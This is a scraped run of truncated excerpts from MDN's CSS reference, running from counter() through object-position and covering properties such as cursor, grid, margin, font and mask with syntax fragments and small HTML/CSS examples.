)where <counter-style> = <counter-style-name> | symbols()where <counter-style-name> = <custom-ident> examples default value compared to upper roman html <ol> <li></li> <li></li> <li></li> </ol> css ol { counter-reset: listcounter; } li { counter-increment: listcounter; } li::after { content: "[" counter(listcounter) "] == [" counter(listcounter, upper-roman) "]"; } result decimal-leading-zero compared to lower-alpha html <ol> <li></li> <li></li> <li></li> </ol> css ol { counter-reset: count; } li { counter-increment: count; } li::after { content: "[" counter(count, decimal-leading-zero) "] == [" counter(count, lower-alpha) "]"; } resul...
cross-fade() - CSS: Cascading Style Sheets
r> <color-stop-length>?<linear-color-hint> = <length-percentage><length-percentage> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples older syntax for cross-fade html <div class="crossfade"></div> css .crossfade { width: 300px; height: 300px; background-image: -webkit-cross-fade( url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'), 75%); background-image: cross-fade( url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files...
cursor - CSS: Cascading Style Sheets
WebCSScursor
| e-resize | n-resize | ne-resize | nw-resize | s-resize | se-resize | sw-resize | w-resize | ew-resize | ns-resize | nesw-resize | nwse-resize | col-resize | row-resize | all-scroll | zoom-in | zoom-out | grab | grabbing ] ] examples setting cursor types .foo { cursor: crosshair; } .bar { cursor: zoom-in; } /* a fallback keyword value is required when using a url */ .baz { cursor: url("hyper.cur"), auto; } specifications specification status comment css basic user interface module level 3the definition of 'cursor' in that specification.
<custom-ident> - CSS: Cascading Style Sheets
"bilibob" this would be a <string>.
<display-inside> - CSS: Cascading Style Sheets
html <div class="box"> <div class="float">i am a floated box!</div> <p>i am content inside the container.</p> </div> css .box { background-color: rgb(224, 206, 247); border: 5px solid rebeccapurple; display: flow-root; } .float { float: left; width: 200px; height: 150px; background-color: white; border:1px solid black; padding: 10px; } result specifications ...
<display-legacy> - CSS: Cascading Style Sheets
html <div class="container"> <div>flex item</div> <div>flex item</div> </div> not a flex item css .container { display: inline-flex; } result in the new syntax the inline flex container would be created using two values, inline for the outer display type, and flex for the inner display type.
<display-listitem> - CSS: Cascading Style Sheets
examples html <div class="fake-list">i will display as a list item</div> css .fake-list { display: list-item; list-style-position: inside; } result specifications specification status css display module level 3the definition of 'display-listitem' in that specification.
empty-cells - CSS: Cascading Style Sheets
formal definition initial valueshowapplies totable-cell elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax show | hide example showing and hiding empty table cells html <table class="table_1"> <tr> <td>moe</td> <td>larry</td> </tr> <tr> <td>curly</td> <td></td> </tr> </table> <br> <table class="table_2"> <tr> <td>moe</td> <td>larry</td> </tr> <tr> <td>curly</td> <td></td> </tr> </table> css .table_1 { empty-cells: show; } .table_2 { empty-cells: hide; } td, th { border: 1px solid gray; padding: 0.5rem; } result s...
env() - CSS: Cascading Style Sheets
WebCSSenv
to tell the browser to use the whole available space on the screen, and so enabling us to use the env() variables, we need to add a new viewport meta value: <meta name="viewport" content="viewport-fit=cover" /> body { padding: env(safe-area-inset-top, 20px) env(safe-area-inset-right, 20px) env(safe-area-inset-bottom, 20px) env(safe-area-inset-left, 20px); } in addition, unlike custom properties, which cannot be used outside of declarations, the env() function can be used in place of any part of a property value, or any part of a descriptor (e.
fit-content() - CSS: Cascading Style Sheets
examples sizing grid columns with fit-content html <div id="container"> <div>item as wide as the content.</div> <div> item with more text in it.
flex-grow - CSS: Cascading Style Sheets
WebCSSflex-grow
d and e are flex-grow:2 .</h5> <div id="content"> <div class="box" style="background-color:red;">a</div> <div class="box" style="background-color:lightblue;">b</div> <div class="box" style="background-color:yellow;">c</div> <div class="box1" style="background-color:brown;">d</div> <div class="box1" style="background-color:lightgreen;">e</div> <div class="box" style="background-color:brown;">f</div> </div> css #content { ...
flex-shrink - CSS: Cascading Style Sheets
d and e have flex-shrink:2 set</p> <p>the width of d and e is less than the others.</p> <div id="content"> <div class="box" style="background-color:red;">a</div> <div class="box" style="background-color:lightblue;">b</div> <div class="box" style="background-color:yellow;">c</div> <div class="box1" style="background-color:brown;">d</div> <div class="box1" style="background-color:lightgreen;">e</div> </div> css #content { display: flex; width: 500px; } #content div { flex-ba...
font-kerning - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | normal | none examples enabling and disabling kerning html <div id="kern"></div> <div id="nokern"></div> <textarea id="input">av t.
font-size-adjust - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typea number formal syntax none | <number> examples adjusting lower-case letter sizes html <p class="times">this text uses the times font (10px), which is hard to read in small sizes.</p> <p class="verdana">this text uses the verdana font (10px), which has relatively large lowercase letters.</p> <p class="adjtimes">this is the 10px times, but now adjusted to the same aspect ratio as the verdana.</p> css .times { font-family: times, serif; font-size: 10px; } .verdana { font-family: verdan...
font-size - CSS: Cascading Style Sheets
WebCSSfont-size
<relative-size> | <length-percentage>where <absolute-size> = xx-small | x-small | small | medium | large | x-large | xx-large | xxx-large<relative-size> = larger | smaller<length-percentage> = <length> | <percentage> examples setting font sizes css .small { font-size: xx-small; } .larger { font-size: larger; } .point { font-size: 24pt; } .percent { font-size: 200%; } html <h1 class="small">small h1</h1> <h1 class="larger">larger h1</h1> <h1 class="point">24 point h1</h1> <h1 class="percent">200% h1</h1> result specifications specification status comment css fonts module level 4the definition of 'font-size' in that specification.
font-smooth - CSS: Cascading Style Sheets
for those of you not on a macos system, here is a screenshot (the live version appears later on): html <p>without font smoothing</p> <p class="smoothed">with font smoothing</p> css html { background-color: black; color: white; font-size: 3rem; } p { text-align: center; } .smoothed { -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } result specifications not part of any standard.
font-variant-alternates - CSS: Cascading Style Sheets
valueas specifiedanimation typediscrete formal syntax normal | [ stylistic( <feature-value-name> ) | historical-forms | styleset( <feature-value-name># ) | character-variant( <feature-value-name># ) | swash( <feature-value-name> ) | ornaments( <feature-value-name> ) | annotation( <feature-value-name> ) ]where <feature-value-name> = <custom-ident> examples html <p>firefox rocks!</p> <p class="variant">firefox rocks!</p> css @font-feature-values "leitura display swashes" { @swash { fancy: 1 } } p { font-size: 1.5rem; } .variant { font-family: leitura display swashes; font-variant-alternates: swash(fancy); } result note: you need to install the opentype font leitura display swashes for this example to work.
font-variant-caps - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | small-caps | all-small-caps | petite-caps | all-petite-caps | unicase | titling-caps examples setting the small-caps font variant html <p class="small-caps">firefox rocks, small caps!</p> <p class="normal">firefox rocks, normal caps!</p> css .small-caps { font-variant-caps: small-caps; font-style: italic; } .normal { font-variant-caps: normal; font-style: italic; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-caps' in that specificati...
font-variant-position - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | sub | super examples setting superscript and subscript forms html <p class="normal">normal!</p> <p class="super">super!</p> <p class="sub">sub!</p> css p { display: inline; } .normal { font-variant-position: normal; } .super { font-variant-position: super; } .sub { font-variant-position: sub; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-position' in that specifi...
font-variant - CSS: Cascading Style Sheets
c-figure-values> = [ lining-nums | oldstyle-nums ]<numeric-spacing-values> = [ proportional-nums | tabular-nums ]<numeric-fraction-values> = [ diagonal-fractions | stacked-fractions ]<east-asian-variant-values> = [ jis78 | jis83 | jis90 | jis04 | simplified | traditional ]<east-asian-width-values> = [ full-width | proportional-width ] examples setting the small-caps font variant html <p class="normal">firefox rocks!</p> <p class="small">firefox rocks!</p> css p.normal { font-variant: normal; } p.small { font-variant: small-caps; } result specifications specification status comment css fonts module level 3the definition of 'font-variant' in that specification.
<frequency> - CSS: Cascading Style Sheets
WebCSSfrequency
though the units are case-insensitive, it is good practice to use a capital "h" for hz and khz, as specified in the si.
grid-area - CSS: Cascading Style Sheets
WebCSSgrid-area
] | [ span && [ <integer> | <custom-ident> ] ] examples setting grid areas html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { display: grid; height: 100px; grid-template: repeat(4, 1fr) / 50px 100px; } #item1 { background-color: lime; grid-area: 2 / 2 / auto / span 3; } #item2 { background-color: yellow; } #item3 { background-color: blue; } result specifications specification status ...
grid-auto-columns - CSS: Cascading Style Sheets
re <track-size> = <track-breadth> | minmax( <inflexible-breadth> , <track-breadth> ) | fit-content( [ <length> | <percentage> ] )where <track-breadth> = <length-percentage> | <flex> | min-content | max-content | auto<inflexible-breadth> = <length> | <percentage> | min-content | max-content | autowhere <length-percentage> = <length> | <percentage> examples setting grid column size html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { height: 100px; display: grid; grid-template-areas: "a a"; grid-gap: 10px; grid-auto-columns: 200px; } #grid > div { background-color: lime; } result specifications specification status comment css grid layoutthe definition of 'grid-auto-columns' in t...
grid-auto-rows - CSS: Cascading Style Sheets
+where <track-size> = <track-breadth> | minmax( <inflexible-breadth> , <track-breadth> ) | fit-content( [ <length> | <percentage> ] )where <track-breadth> = <length-percentage> | <flex> | min-content | max-content | auto<inflexible-breadth> = <length> | <percentage> | min-content | max-content | autowhere <length-percentage> = <length> | <percentage> examples setting grid row size html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { width: 200px; display: grid; grid-template-areas: "a a"; grid-gap: 10px; grid-auto-rows: 100px; } #grid > div { background-color: lime; } result specifications specification status comment css grid layoutthe definition of 'grid-auto-rows' in that spe...
grid-column-end - CSS: Cascading Style Sheets
] | [ span && [ <integer> | <custom-ident> ] ] examples setting column end for a grid item html <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> <div class="box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start:...
grid-column-start - CSS: Cascading Style Sheets
] | [ span && [ <integer> | <custom-ident> ] ] examples setting column start for a grid item html <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> <div class="box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start:...
grid-row-end - CSS: Cascading Style Sheets
] | [ span && [ <integer> | <custom-ident> ] ] examples setting row end for a grid item html <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> <div class="box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start:...
grid-row-start - CSS: Cascading Style Sheets
] | [ span && [ <integer> | <custom-ident> ] ] examples setting row start for a grid item html <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> <div class="box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start:...
grid-row - CSS: Cascading Style Sheets
WebCSSgrid-row
] | [ span && [ <integer> | <custom-ident> ] ] examples setting grid row size and location html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { display: grid; height: 200px; grid-template-columns: 200px; grid-template-rows: repeat(6, 1fr); } #item1 { background-color: lime; } #item2 { background-color: yellow; grid-row: 2 / 4; } #item3 { background-color: blue; grid-row: span 2 / 7; } result specifications ...
grid-template-columns - CSS: Cascading Style Sheets
)where <track-breadth> = <length-percentage> | <flex> | min-content | max-content | auto<inflexible-breadth> = <length> | <percentage> | min-content | max-content | auto<fixed-breadth> = <length-percentage>where <length-percentage> = <length> | <percentage> examples specifying grid column sizes html <div id="grid"> <div id="areaa">a</div> <div id="areab">b</div> </div> css #grid { display: grid; width: 100%; grid-template-columns: 50px 1fr; } #areaa { background-color: lime; } #areab { background-color: yellow; } result specifications specification status comment css grid layoutthe definition of 'grid-template-columns' in that specification.
grid-template-rows - CSS: Cascading Style Sheets
)where <track-breadth> = <length-percentage> | <flex> | min-content | max-content | auto<inflexible-breadth> = <length> | <percentage> | min-content | max-content | auto<fixed-breadth> = <length-percentage>where <length-percentage> = <length> | <percentage> examples specifying grid row sizes html <div id="grid"> <div id="areaa">a</div> <div id="areab">b</div> </div> css #grid { display: grid; height: 100px; grid-template-rows: 30px 1fr; } #areaa { background-color: lime; } #areab { background-color: yellow; } result specifications specification status comment css grid layoutthe definition of 'grid-template-rows' in that specification.
height - CSS: Cascading Style Sheets
WebCSSheight
t on the root element is relative to the initial containing block.computed valuea percentage or auto or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting height using pixels and percentages html <div id="taller">i'm 50 pixels tall.</div> <div id="shorter">i'm 25 pixels tall.</div> <div id="parent"> <div id="child"> i'm half the height of my parent.
ident - CSS: Cascading Style Sheets
WebCSSident
"bilibob" this would be a <string>.
image-set() - CSS: Cascading Style Sheets
WebCSSimage-set
examples background-image: image-set( "cat.png" 1x, "cat-2x.png" 2x, "cat-print.png" 600dpi); this example shows how to use image-set() to provide two alternative background-image options, chosen depending on the resolution needed: a normal version and a high-resolution version.
<image> - CSS: Cascading Style Sheets
WebCSSimage
n understanding wcag, guideline 1.1 explanations understanding success criterion 1.1.1 | w3c understanding wcag 2.0 examples valid images url(test.jpg) /* a <url>, as long as test.jpg is an actual image */ linear-gradient(blue, red) /* a <gradient> */ element(#realid) /* a part of the webpage, referenced with the element() function, if "realid" is an existing id on the page */ image(ltr 'arrow.png#xywh=0,0,16,16', red) /* a section 16x16 section of <url>, starting from the top, left of the original image as long as arrow.png is a supported image, otherwise a solid red swatch.
initial-letter-align - CSS: Cascading Style Sheets
formal definition initial valueautoapplies to::first-letter pseudo-elements and inline-level first child of a block containerinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ auto | alphabetic | hanging | ideographic ] examples aligning initial letter html <p class="auto ">initial letter - auto</p> <p class="alphabetic">initial letter - alphabetic</p> <p class="hanging">initial letter - hanging</p> <p class="ideographic">initial letter - ideographic</p> css .auto { -webkit-initial-letter-align: auto; initial-letter-align: auto; } .alphabetic { -webkit-initial-letter-align: alphabetic; initial-letter-align: alphabetic; } .hanging { -webkit-initi...
initial-letter - CSS: Cascading Style Sheets
] examples setting initial letter size html <p class="normal">initial letter is normal</p> <p class="onefive">initial letter occupies 1.5 lines</p> <p class="three">initial letter occupies 3 lines</p> css .normal { -webkit-initial-letter: normal; initial-letter: normal; } .onefive { -webkit-initial-letter: 1.5; initial-letter: 1.5; } .three { -webkit-initial-letter: 3.0; initial-letter: 3.0; } result specifications spec...
inline-size - CSS: Cascading Style Sheets
formal definition initial valueautoapplies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as width and heightanimation typea length, percentage or calc(); formal syntax <'width'> examples setting inline size in pixels html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; inline-size: 110px; } result specifications specification status comment css logical properties and values level 1the definition of 'inline-size' in that specification.
inset-block-end - CSS: Cascading Style Sheets
formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting block end offset html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; position: relative; inset-block-end: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-block-end' in ...
inset-block-start - CSS: Cascading Style Sheets
formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting block start offset html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-block-start: 20px; background-color: #c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'inset-block-start' in that...
inset-block - CSS: Cascading Style Sheets
formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,2} examples setting block start and end offsets html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-block: 20px 50px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-block' in tha...
inset-inline-end - CSS: Cascading Style Sheets
formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting inline end offset html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; position: relative; inset-inline-end: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-inline-end' i...
inset-inline-start - CSS: Cascading Style Sheets
formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting inline start offset html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-inline-start: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-inline-star...
inset-inline - CSS: Cascading Style Sheets
formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,2} examples setting inline start and end offsets html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-inline: 20px 50px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-inline' in t...
inset - CSS: Cascading Style Sheets
WebCSSinset
formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,4} examples setting offsets for an element html <div> <span class="exampletext">example text</span> </div> css div { background-color: yellow; width: 150px; height: 120px; position: relative; } .exampletext { writing-mode: sideways-rl; position: absolute; inset: 20px 40px 30px 10px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the defin...
isolation - CSS: Cascading Style Sheets
WebCSSisolation
in svg, it applies to container elements, graphics elements, and graphics referencing elements.inheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | isolate examples forcing a new stacking context for an element html <div id="b" class="a"> <div id="d"> <div class="a c">auto</div> </div> <div id="e"> <div class="a c">isolate</div> </div> </div> css .a { background-color: rgb(0,255,0); } #b { width: 200px; height: 210px; } .c { width: 100px; height: 100px; border: 1px solid black; padding: 2px; mix-blend-mode: difference; } #d { isolation: auto; } #e { isolation: isolate; } result ...
justify-items - CSS: Cascading Style Sheets
html <article class="container" tabindex="0"> <span>first child</span> <span>second child</span> <span>third child</span> <span>fourth child</span> </article> css html { font-family: helvetica, arial, sans-serif; letter-spacing: 1px; } article { background-color: red; display: grid; grid-template-columns: 1fr 1fr; grid-auto-rows: 40px; grid-gap: 10px; width: 300px; justify-items: stretch; ...
justify-self - CSS: Cascading Style Sheets
html <article class="container"> <span>first child</span> <span>second child</span> <span>third child</span> <span>fourth child</span> </article> css html { font-family: helvetica, arial, sans-serif; letter-spacing: 1px; } article { background-color: red; display: grid; grid-template-columns: 1fr 1fr; grid-auto-rows: 40px; grid-gap: 10px; width: 300px; justify-items: stretch; } span:nth-c...
letter-spacing - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritedyescomputed valuean optimum value consisting of either an absolute length or the keyword normalanimation typea length formal syntax normal | <length> examples setting letter spacing html <p class="normal">letter spacing</p> <p class="em-wide">letter spacing</p> <p class="em-wider">letter spacing</p> <p class="em-tight">letter spacing</p> <p class="px-wide">letter spacing</p> css .normal { letter-spacing: normal; } .em-wide { letter-spacing: 0.4em; } .em-wider { letter-spacing: 1em; } .em-tight { letter-spacing: -0.05em; } .px-wide { letter-spacing: 6px; } result specifications ...
list-style-image - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies tolist itemsinheritedyescomputed valuenone or the image with its uri made absoluteanimation typediscrete formal syntax <url> | none examples setting list item images html <ul> <li>item 1</li> <li>item 2</li> </ul> css ul { list-style-image: url("https://mdn.mozillademos.org/files/11981/starsolid.gif"); } result specifications specification status comment css lists module level 3the definition of 'list-style-image' in that specification.
margin-block-end - CSS: Cascading Style Sheets
formal definition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting block end margin html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-block-end: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-block-end' in that specification.
margin-block-start - CSS: Cascading Style Sheets
formal definition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting block start margin html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-block-start: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-block-start' in that specificati...
margin-block - CSS: Cascading Style Sheets
formal definition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typediscrete formal syntax <'margin-left'>{1,2} examples setting block start and end margins html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-block: 20px 40px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-block' in that specification.
margin-bottom - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> | auto examples setting positive and negative bottom margins html <div class="container"> <div class="box0">box 0</div> <div class="box1">box 1</div> <div class="box2">box one's negative margin pulls me up</div> </div> css css for divs to set margin-bottom and height .box0 { margin-bottom:1em; height:3em; } .box1 { margin-bottom:-1.5em; height:4em; } .box2 { border:1px dashed black; border-width:1px 0; margin-bottom:2em; } some definitions ...
margin-inline-end - CSS: Cascading Style Sheets
formal definition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting inline end margin html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-inline-end: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline-end' in that specification...
margin-inline-start - CSS: Cascading Style Sheets
formal definition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting inline start margin html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-inline-start: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline-start' in that specifica...
margin-inline - CSS: Cascading Style Sheets
formal definition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typediscrete formal syntax <'margin-left'>{1,2} examples setting inline start and end margins html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-inline: 20px 40px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline' in that specification.
margin - CSS: Cascading Style Sheets
WebCSSmargin
formal syntax [ <length> | <percentage> | auto ]{1,4} examples simple example html <div class="center">this element is centered.</div> <div class="outside">this element is positioned outside of its container.</div> css .center { margin: auto; background: lime; width: 66%; } .outside { margin: 3rem 0 0 -3rem; background: cyan; width: 66%; } more examples margin: 5%; /* all sides: 5% margin */ margin: 10px; /* all sides: 10px margin */ margi...
mask-composite - CSS: Cascading Style Sheets
tract | intersect | exclude examples compositing mask layers with addition css #masked { width: 100px; height: 100px; background-color: #8cffa0; mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg), url(https://mdn.mozillademos.org/files/12676/star.svg); mask-size: 100% 100%; mask-composite: add; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="compositemode"> <option value="add">add</option> <option value="subtract">subtract</option> <option value="intersect">intersect</option> <option value="exclude">exclude</option> </select> javascript var clipbox = document.getelementbyid("compositemode"); clipbox.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskcomposit...
mask-image - CSS: Cascading Style Sheets
> <color-stop-length>?<linear-color-hint> = <length-percentage><length-percentage> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples setting a mask image with a url html <div id="masked"></div> css #masked { width: 100px; height: 100px; background-color: #8cffa0; -webkit-mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); } result specifications specification status comment css masking module level 1the definition of 'mask-image' in that specific...
mask-mode - CSS: Cascading Style Sheets
WebCSSmask-mode
ueas specifiedanimation typediscrete formal syntax <masking-mode>#where <masking-mode> = alpha | luminance | match-source examples using alpha mask mode css #masked { width: 227px; height: 200px; background: blue linear-gradient(red, blue); mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-mode: alpha; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="maskmode"> <option value="alpha">alpha</option> <option value="luminance">luminance</option> <option value="match-source">match-source</option> </select> javascript var maskmode = document.getelementbyid("maskmode"); maskmode.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskmode = evt.target.value; }); result speci...
max-inline-size - CSS: Cascading Style Sheets
formal definition initial value0applies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as max-width and max-heightanimation typea length, percentage or calc(); formal syntax <'max-width'> examples setting max inline size in pixels html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; block-size: 100%; max-inline-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'max-inline-size' in that specification.
max() - CSS: Cascading Style Sheets
WebCSSmax
this ensure it is legible and ensures accessibility <h1>this text is always legible, but doesn't change size</h1> <h1 class="responsive">this text is always legible, and is responsive, to a point</h1> think of the max() function as finding the minimum value allowed for a property.
min-block-size - CSS: Cascading Style Sheets
formal definition initial value0applies tosame as width and heightinheritednopercentagesblock-size of containing blockcomputed valuesame as min-width and min-heightanimation typea length, percentage or calc(); formal syntax <'min-width'> examples setting minimum block size for vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; min-block-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'min-block-size' in that specification.
min-inline-size - CSS: Cascading Style Sheets
formal definition initial value0applies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as min-width and min-heightanimation typea length, percentage or calc(); formal syntax <'min-width'> examples setting minimum inline size for vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; block-size: 5%; min-inline-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'min-inline-size' in that specification.
min() - CSS: Cascading Style Sheets
WebCSSmin
<form> <label>type something:</label> <input type="text"> </form> specifications specification status comment css values and units module level 4the definition of 'min()' in that specification.
minmax() - CSS: Cascading Style Sheets
WebCSSminmax
plate-columns grid-template-rows grid-auto-columns grid-auto-rows examples css #container { display: grid; grid-template-columns: minmax(min-content, 300px) minmax(200px, 1fr) 150px; grid-gap: 5px; box-sizing: border-box; height: 200px; width: 100%; background-color: #8cffa0; padding: 10px; } #container > div { background-color: #8ca0ff; padding: 5px; } html <div id="container"> <div> item as wide as the content, but at most 300 pixels.
object-position - CSS: Cascading Style Sheets
